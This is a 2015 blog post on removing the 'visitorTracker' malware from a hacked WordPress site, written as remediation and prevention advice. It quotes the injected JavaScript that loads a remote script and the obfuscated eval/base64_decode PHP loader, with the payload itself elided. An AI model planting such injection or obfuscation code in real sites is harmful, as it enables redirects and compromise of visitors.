Clearing up the “visitorTracker” Malware on your (WordPress) website

Dang malware

Mon, 05 Oct 2015

WordPress is a fantastic blogging platform, but it isn’t perfect. With the millions of sites that it runs on, it becomes a popular target for discovering vulnerabilities and exploiting them. You may be one of those who have found your site offline, or even redirected to another site. I recently ran into the ‘visitorTracker’ Malware on one of our WordPress websites, and I will briefly detail through how to address it.

Google is even nice enough to let you know with a “Notice of Suspected Hacking on [Your Site URL]” when your blog has been compromised, and specifically what they think is malicious. In this case, “if(visitorTracker_isMob())” is the offending code they are hinting at. Thanks Google. So let’s go in and get this cleared up.

Google Search Console Suspected Hacking

Always backup!

Before we dive in and make any changes, the golden rule rule is to always backup! I am constantly reminded of this. Just recently one of my old harddrives gave up on me but nothing of importance was lost as all the important data was already backed up. FreeFileSync is a great tool to use if you want to automatically keep your important files synced, it’s free and available for every operating system. Cloud syncing is another convenient option, best left for another topic.

Now you may be thinking, what good is a backup of a site that has already been compromised? First it serves as a reference point if you ever want to go back and look at the state it was in. Also, depending on how diligent you have been with backing up your site, this serves to help quickly determine what files were changed so you have an idea of where to start looking.

What about version control?

If you have version control in place you’re probably thinking you don’t need to backup. Most of the below becomes trivial as you can simply go back to a ‘clean’ state, and focus on determining the vulnerability, updating Wordpress along with your themes and plugins. However the golden rule still applies, backups should still be done in conjunction with version control systems.

Why do I need to clear this?

A more detailed explanation of what this malware does is laid out here by the team at Sucuri, but your most pressing reason to getting this fixed would be to remove the scary warning that Google will show to any potential visitors in the SERP, and if you use Chrome you’ll get an even scarier big red warning page when trying to visit the site. You’ll most likely lose traffic, and if left untouched your positions in the SERP will continue to decline.

Some Unsuspecting Site

Stopping “visitorTracker” in its… tracks.

So once you have a copy of your website files ready to expel of its evil, you’ll want to search for any traces of “visitorTracker”, and “visitorTracker_isMob()” using your favourite text editor.

/visitorTracker/
[…]
if(visitorTracker_isMob()){
var visitortrackervs = document.createElement(“script”); visitortrackervs.src = ” http://example.com/wp-content/plugins/contact-form-7/temps/user.php?mob=1”; document.getElementsByTagName(“head”)[0].appendChild(visitortrackervs);
[…]
}/visitorTracker/

Apparently the malware even generously comments where it begins and ends in your corrupted files! You’ll find that the majority if not all of this will be in your javascript files, for me they made their way into theme files, plugin files and even in the wp-includes folder. So let’s go and remove this extra code, but notice this one particular part —

visitortrackervs.src = ”http://example.com/wp-content/plugins/contact-form-7/temps/user.php?mob=1”;

There’s a user.php path that the javascript is calling. If we take a look into this file, it begins as:

<?php $ygu=“b”.“ase”.”64_de”.“code”;eval($ygu (”[…base64 encoded string…”));

Malware scanners typically scan for specific patterns to detect suspect files. The above basically is an attempt to fool any automated scanning by obfuscating the “base64_decode()” PHP function, which in itself is obfuscating the real malicious code. If we decode this string we can see the malicious javascript in its true form.

https://gist.github.com/soyarsauce/9b90b7784a44666316c9#file-user-php-decoded

It’s serving up malicious redirects and attempts to avoid detection. At least they are naming the functions correctly! ( showbadjs() and showgoodjs() )

We should definitely remove this user.php file. While we’re at it, let’s search our evil files for anything hiding in (relatively) plain sight via “base64_decode”.

Unobfuscated base64 decode function

That looks bad too. If you’re curious, the decoded and beautified results can be found here:

https://gist.github.com/soyarsauce/9b90b7784a44666316c9#file-wp-blog-header-decoded-beautified

It seems the visitor tracker malware targetting most WordPress websites will also hide a variant in every template file it can find. Depending on what kind of themes and plugins you have installed, you will have to sift through and filter out any false positives, but it should be fairly easy to recognise something like above. Now if you have a clean backup handy, you could simply compare the current state of the server with your backup to see what has had malicious code injected into it. The quicker way to fix all this is really just to roll back to your last known good backup - then update and tighten up security from there.

Prevention

If you are using a WordPress site, the best way to minimise your risk (besides not using WordPress) is to use strong passwords and keep everything updated including WordPress itself, themes and plugins. Wordpress.org details this further on securing your site.  Once you’ve cleaned up all the mess and upgraded everything, you should go into Google Search Console and submit a review of your site to get that scary warning (rightfully) removed. It shouldn’t take too long and hopefully you caught it early, and always remember to backup!

  • tidbits